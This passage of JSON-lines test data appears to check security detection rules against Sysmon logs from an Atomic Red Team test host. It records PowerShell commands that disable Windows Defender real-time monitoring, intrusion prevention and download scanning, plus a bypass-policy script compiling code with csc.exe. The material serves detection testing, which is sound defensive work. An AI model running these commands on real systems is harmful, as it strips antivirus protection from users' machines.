Corporation\\r\\nOriginalFileName: csc.exe\\r\\nCommandLine: \\\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\csc.exe\\\" /noconfig /fullpaths @\\\"C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\Temp\\\\bspmrlpb.cmdline\\\"\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-5948-6091-2f18-2d0000000000}\\r\\nLogonId: 0x2D182F\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=528973416456C780051889CA1709510B6BF73370,MD5=F65B029562077B648A6A5F6A1AA76A66,SHA256=4A6D0864E19C0368A47217C129B075DDDF61A6A262388F9D21045D82F3423ED7,IMPHASH=EE1E569AD02AA1F7AECA80AC0601D80D\\r\\nParentProcessGuid: {4dc16835-5bcf-6091-b801-000000003500}\\r\\nParentProcessId: 5912\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: powershell -ExecutionPolicy Bypass -NoExit .\\\\meta.ps1\\\"\",\"version\":\"5\",\"systemTime\":\"2021-05-04T14:36:01.5571724Z\",\"eventRecordID\":\"168729\",\"threadID\":\"3100\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2432\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\csc.exe\\\" /noconfig /fullpaths @\\\"C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\Temp\\\\bspmrlpb.cmdline\\\"", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\", "win.eventdata.description": "Visual C# Command Line Compiler", "win.eventdata.fileVersion": "4.8.4084.0 built by: NET48REL1", "win.eventdata.hashes": "SHA1=528973416456C780051889CA1709510B6BF73370,MD5=F65B029562077B648A6A5F6A1AA76A66,SHA256=4A6D0864E19C0368A47217C129B075DDDF61A6A262388F9D21045D82F3423ED7,IMPHASH=EE1E569AD02AA1F7AECA80AC0601D80D", "win.eventdata.image": "C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\csc.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-5948-6091-2f18-2d0000000000}", "win.eventdata.logonId": "0x2d182f", "win.eventdata.originalFileName": "csc.exe", "win.eventdata.parentCommandLine": "powershell -ExecutionPolicy Bypass -NoExit .\\\\meta.ps1", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5bcf-6091-b801-000000003500}", "win.eventdata.parentProcessId": "5912", "win.eventdata.processGuid": "{4dc16835-5bd1-6091-b901-000000003500}", "win.eventdata.processId": "5124", "win.eventdata.product": "Microsoft® .NET Framework", "win.eventdata.ruleName": "technique_id=T1127,technique_name=Trusted Developer Utilities Proxy Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-05-04 14:36:01.555", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "168729", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2432", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-05-04T14:36:01.5571724Z", "win.system.task": "1", "win.system.threadID": "3100", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92006", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Powershell script compiling code using CSC.exe, possible malware drop"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-5ce5-60e3-3601-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"5368\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-07-05 19:26:29.887\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe Set-MpPreference\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-07-05 19:26:29.887\\r\\nProcessGuid: {4dc16835-5ce5-60e3-3601-000000004800}\\r\\nProcessId: 5368\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -disableRealtimeMonitoring $True\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T19:26:29.8895020Z\",\"eventRecordID\":\"252295\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-5ce5-60e3-3601-000000004800}", "win.eventdata.processId": "5368", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 19:26:29.887", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "252295", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T19:26:29.8895020Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92007", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Possible tampering on Windows Defender configuration by Powershell command"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-5ce5-60e3-3601-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"5368\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-07-05 19:26:29.887\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe Set-MpPreference -disableRealtimeMonitoring $True\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-07-05 19:26:29.887\\r\\nProcessGuid: {4dc16835-5ce5-60e3-3601-000000004800}\\r\\nProcessId: 5368\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -disableRealtimeMonitoring $True\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T19:26:29.8895020Z\",\"eventRecordID\":\"252295\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -disableRealtimeMonitoring $True", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-5ce5-60e3-3601-000000004800}", "win.eventdata.processId": "5368", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 19:26:29.887", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "252295", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T19:26:29.8895020Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92008", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Windows Defender real time monitoring was disabled by Powershell command"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-604e-60e3-4e01-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"3668\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-07-05 19:41:02.965\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $True\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-07-05 19:41:02.965\\r\\nProcessGuid: {4dc16835-604e-60e3-4e01-000000004800}\\r\\nProcessId: 3668\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $True -drtm $True\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-599e-60e3-ad77-240000000000}\\r\\nLogonId: 0x2477AD\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-5b4e-60e3-1b01-000000004800}\\r\\nParentProcessId: 5616\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-05T19:41:02.9670466Z\",\"eventRecordID\":\"252585\",\"threadID\":\"3184\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2184\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $True", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-599e-60e3-ad77-240000000000}", "win.eventdata.logonId": "0x2477ad", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5b4e-60e3-1b01-000000004800}", "win.eventdata.parentProcessId": "5616", "win.eventdata.processGuid": "{4dc16835-604e-60e3-4e01-000000004800}", "win.eventdata.processId": "3668", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-05 19:41:02.965", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "252585", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2184", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-05T19:41:02.9670466Z", "win.system.task": "1", "win.system.threadID": "3184", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92009", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Windows Defender Intrusion prevention system was disabled by Powershell command"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-5b4e-60e3-1b01-000000004800}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-599e-60e3-ad77-240000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-6122-60e3-5501-000000004800}\",\"logonId\":\"0x2477ad\",\"parentProcessId\":\"5616\",\"processId\":\"2412\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-07-05 19:44:34.850\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe Set-MpPreference -DisableIOAVProtection $true\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-07-05 19:44:34.850\\r\\nProcessGuid: {4dc16835-6122-60e3-5501-000000004800}\\r\\nProcessId: 2412\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft 